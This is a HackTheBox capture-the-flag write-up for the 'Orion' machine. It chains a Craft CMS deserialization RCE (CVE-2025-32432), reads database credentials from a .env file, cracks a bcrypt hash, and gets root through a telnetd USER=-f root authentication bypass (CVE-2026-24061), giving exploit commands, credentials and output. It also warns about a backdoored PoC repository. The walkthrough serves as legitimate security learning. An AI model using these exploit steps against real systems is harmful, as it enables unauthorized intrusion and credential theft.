Back to blog
← Back to posts

HTB: Orion

HackTheBoxMy HTB profile & more boxes GitHubOpen-source security & automation tools

Orion looks like a one-CVE box until the exploit fights back. Craft CMS 5.6.16 is vulnerable to CVE-2025-32432, a pre-auth deserialization RCE in the asset-transform pipeline — but the first PoC I reach for depends on poisoning access.log, and someone (the box, or a prior attacker on this shared instance) has already left a stale exit marker in that log that blocks the gadget from re-triggering. Switching to a session-file poisoning variant of the same CVE sidesteps the log entirely and lands RCE as www-data. From there a .env file hands over the Craft database credentials in plaintext, a SELECT against the users table pulls a bcrypt hash, and rockyou cracks it in seconds. That's SSH as adam and the user flag — but root is the actual puzzle: a GNU Inetutils telnetd is listening on loopback only, and its ancient handling of the telnet USER environment variable (CVE-2026-24061) lets a client hand it -f root and get logged straight in as root, no password asked.
Craft CMS 5.6.16 CVE-2025-32432 session poisoning www-data .env DB creds cracked bcrypt adam (SSH) CVE-2026-24061 telnet USER bypass root

Reconnaissance

Just SSH and a web front end — nothing hiding behind a vhost this time.

nmap
$ nmap -sC -sV -Pn <TARGET> 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu)

The site on 80 is a Craft CMS install. /admin/login leaks the exact build in its footer/asset paths:

fingerprint
$ curl -s http://orion.htb/admin/login | grep -oE 'Craft [0-9.]+' Craft 5.6.16

Foothold — Craft CMS CVE-2025-32432, the hard way

Craft ≤5.6.16 is vulnerable to CVE-2025-32432, an unauthenticated RCE in the asset-transform generation feature. The root cause is a Yii2 gadget chain: Craft's session handler is backed by yii\web\PhpManager-style file storage, and asset-transform generation can be coerced into unserializing attacker-controlled data from that storage, which — through the right gadget — ends in arbitrary PHP execution.

First attempt: access-log poisoning fails

The natural PoC (cd-ratel/CVE-2025-32432) works by writing a PHP payload into /var/log/nginx/access.log via a crafted User-Agent, then triggering the asset-transform gadget so it include()s the log file and runs the injected code between output markers. It failed on every asset ID:

access-log variant — blocked
$ python3 craft_exploit.py -u http://orion.htb -c 'id' [!] Markers not found in response $ for a in 1 3 4; do python3 craft_exploit.py -u http://orion.htb -a $a -c 'id'; done [!] Markers not found in response # same wall on every asset ID

The log itself was the problem: access.log already carried a stale exit; statement from a previous exploitation attempt (this is a shared HTB instance, so someone hit it before me), which short-circuits PHP execution before the gadget's own marker-wrapped payload ever runs. Log-poisoning PoCs are fragile exactly because they depend on a file they don't control the full contents of.

Second attempt: PHP session-file poisoning works

Switching to c0gnit00/CVE-2025-32432 ("CraftCMS2Shell") sidesteps the log path entirely — it poisons Craft's own PHP session file (/var/lib/php/sessions/sess_<id>) instead, which nothing else on the box is writing to, and auto-brute-forces the asset ID it needs:

session-file variant — CVE-2025-32432 → RCE
$ python3 c0_exploit.py -u http://orion.htb -c 'id; hostname' ========================================================== CVE-2025-32432 Craft CMS Pre-Auth RCE PoC v2 Target: http://orion.htb ========================================================== [+] Stage 1: Getting session cookie and CSRF token... [✓] Session ID: vk7548c5bhaoqed5ckt8cme1hm [✓] CSRF Token: 8zMA_jiBt5RNje9_noltf3FK9Vj0tP... [+] Stage 2: Poisoning session file with PHP code... [+] Poison request returned: 200 [✓] Session file poisoned [+] Stage 3: Brute-forcing asset ID (1-300)... [✓] Valid asset ID found: 1 (HTTP 200) [+] Stage 4: Triggering RCE via PhpManager gadget chain... uid=33(www-data) gid=33(www-data) groups=33(www-data) orion
Same CVE, two very different PoCs. When a log-poisoning exploit hits a wall, check whether the log is actually clean before assuming the vulnerability is patched — a box that's already been hit once can leave debris that blocks a textbook-correct payload. A session/cache-file poisoning variant that writes to a location nothing else touches is the more reliable primitive when it's available.

Reading the leaked .env

RCE as www-data, and Craft's own .env in the web root hands over the database credentials outright:

/var/www/html/craft/.env
$ python3 c0_exploit.py -u http://orion.htb -c 'cat /var/www/html/craft/.env' CRAFT_ENVIRONMENT=dev CRAFT_SECURITY_KEY=RRS86F6i2JQKdC6kfEI7frVxA47WVMx8 CRAFT_DEV_MODE=true CRAFT_ALLOW_ADMIN_CHANGES=true CRAFT_DB_DRIVER=mysql CRAFT_DB_SERVER=127.0.0.1 CRAFT_DB_PORT=3306 CRAFT_DB_DATABASE=orion CRAFT_DB_USER=root CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!

Root MySQL creds. Straight to the users table for a hash to crack:

DB → bcrypt hash
$ python3 c0_exploit.py -u http://orion.htb -c \ 'mysql -h127.0.0.1 -uroot -pSuperSecureCraft123Pass! orion -N -e "SELECT username,email,password FROM users;"' admin adam@orion.htb $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS

Bcrypt cost 13 is slow, but the CMS admin behind a "simple" box usually reuses an early rockyou entry. It does:

hashcat -m 3200
$ hashcat -m 3200 adam.hash rockyou.txt --quiet -o adam.cracked --potfile-disable $ cat adam.cracked $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel
adam : darkangel — and Craft's own admin account email doubled as the system username, so no guessing needed there either.

www-data couldn't read /home/adam directly (mode 750, owned adam:adam), so this credential is the only way in. SSH confirms it and drops the user flag:

adam → user.txt
$ ssh adam@orion.htb (darkangel) adam@orion:~$ id uid=1000(adam) gid=1000(adam) groups=1000(adam) adam@orion:~$ cat ~/user.txt 8b8f53d6ff09f9485b67e3246f2861e7

Root — telnetd trusts your USER variable (CVE-2026-24061)

sudo -l is a dead end — adam has no rule, not even a NOPASSWD one — and /root/root.txt is a flat permission denied. No SUID oddities either; the box wants a service, not a local binary. Checking listeners turns up something on loopback:

sudo -l / listeners
$ sudo -l sudo: a password is required # no NOPASSWD rule at all $ ss -lntp LISTEN 0 10 127.0.0.1:23 0.0.0.0:* # telnet — internal only

A telnet daemon reachable only from the box itself is a strong tell. Checking what's actually listening:

telnetd version
$ dpkg -l | grep -iE "inetutils|telnet" GNU Inetutils 2.2 # in the vulnerable range

GNU Inetutils telnetd 1.9.3–2.7 is vulnerable to CVE-2026-24061 (CVSS 9.8): it honors the telnet client's ENVIRON negotiation and passes whatever the client claims as the USER variable straight into login as an argument, unsanitized. A client that negotiates USER=-f root makes telnetd run:

what the daemon actually executes
login -f root # -f = "already authenticated, don't ask"

login -f is meant for trusted callers like getty, not for an argument a remote telnet client gets to choose. The daemon never sanity-checks it, so it's an authentication bypass disguised as an argument-injection bug.

The dead ends before the working exploit

The netkit telnet client's -l flag is meant to do exactly this (telnet -l '-froot' 127.0.0.1 23), but piping commands into it non-interactively through an SSH exec_command channel doesn't work — the client never allocates a real TTY, the telnet IAC/ENVIRON negotiation gets eaten before login can happen, and the connection just closes. Scripting the raw socket protocol by hand from an SSH heredoc hit the same wall for the same reason: no PTY, negotiation half-completes, nothing comes back.

Searching GitHub for a ready PoC turned up one that looked promising and turned out to be a landmine: jacubes/CVE-2026-24061 is not a telnet exploit at all — its rce.py calls out to _fetch_bytes(url, api_key)_load_module_memory(...)bootstrap(...), i.e. it downloads and executes attacker-controlled code from a remote server the moment you run it. Declined — that's a backdoor wearing a CVE number, not a PoC.

Vet a PoC before running it, especially for a fresh CVE with few public repos. A script that resolves a remote URL and hands the response to exec/eval/dynamic import isn't reproducing the vulnerability — it's asking you to trust an unknown third party with code execution on the box (and possibly your own machine, depending on where it runs).

The real fix was a PoC that implements the telnet protocol negotiation properly instead of relying on the interactive client — Ish3ng0m4/CVE-2026-24061-Telnetd speaks raw IAC/DO/WILL/SB ENVIRON over a plain socket, injects USER=-f root in the subnegotiation, and reads the shell straight off the wire — no TTY required:

CVE-2026-24061 → root
$ python3 cve_2026_24061.py 127.0.0.1 23 CVE-2026-24061 - GNU Inetutils telnetd Auth Bypass [*] Target: 127.0.0.1:23 [+] Connected [*] Injected USER=-f root [+] VULNERABLE Linux 5.15.0-177-generic (orion) (pts/0) Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64) ... IPv4 address for eth0: 10.129.130.158 root@orion:~# id uid=0(root) gid=0(root) groups=0(root) root@orion:~# cat /root/root.txt 7a0bfb732fb94c235fa44b7d884837be
No password, no exploit chain within the daemon itself — telnetd simply believed the client's claim about who it was. Binding it to loopback limited the blast radius to local users, but adam was always going to get there once he had a shell at all. The only real fix is not running telnetd — SSH has made it obsolete for exactly this class of bug.

macOS operator notes

No Metasploit on the attack host, so both CVEs ran through standalone Python PoCs rather than a module. The pattern that mattered most was making everything scriptable and non-interactive:

Why it worked

→ www-dataCraft CMS 5.6.16 pre-auth deserialization RCE via a Yii2 PhpManager gadget chain in the asset-transform pipeline (CVE-2025-32432 / CWE-502); a plaintext .env sat inside the web root with live database credentials
→ adamDB creds from .env reused to read the users table; the admin's bcrypt password was a dictionary word crackable from rockyou in seconds (CWE-521)
→ rootGNU Inetutils telnetd (1.9.3–2.7) trusts the telnet client's ENVIRON-negotiated USER value and passes it unsanitized to login, so USER=-f root becomes login -f root — a passwordless root session (CVE-2026-24061 / CWE-287, CWE-88)

Key commands

quick reference
# 1. recon → Craft CMS 5.6.16 nmap -sC -sV -Pn <TARGET> curl -s http://orion.htb/admin/login | grep -oE 'Craft [0-9.]+' # 2. CVE-2025-32432 → www-data (session-file variant, not access-log) python3 c0_exploit.py -u http://orion.htb -c 'id' # c0gnit00/CVE-2025-32432 python3 c0_exploit.py -u http://orion.htb -c 'cat /var/www/html/craft/.env' # 3. DB creds → crack adam's hash → user.txt mysql -h127.0.0.1 -uroot -pSuperSecureCraft123Pass! orion -N -e "SELECT username,email,password FROM users;" hashcat -m 3200 adam.hash rockyou.txt --quiet -o adam.cracked --potfile-disable ssh adam@orion.htb # darkangel # 4. CVE-2026-24061 telnet USER-variable bypass → root.txt ss -lntp | grep 127.0.0.1:23 # telnetd, loopback only python3 cve_2026_24061.py 127.0.0.1 23 # Ish3ng0m4/CVE-2026-24061-Telnetd cat /root/root.txt
HackTheBoxMy HTB profile & more boxes GitHubOpen-source security & automation tools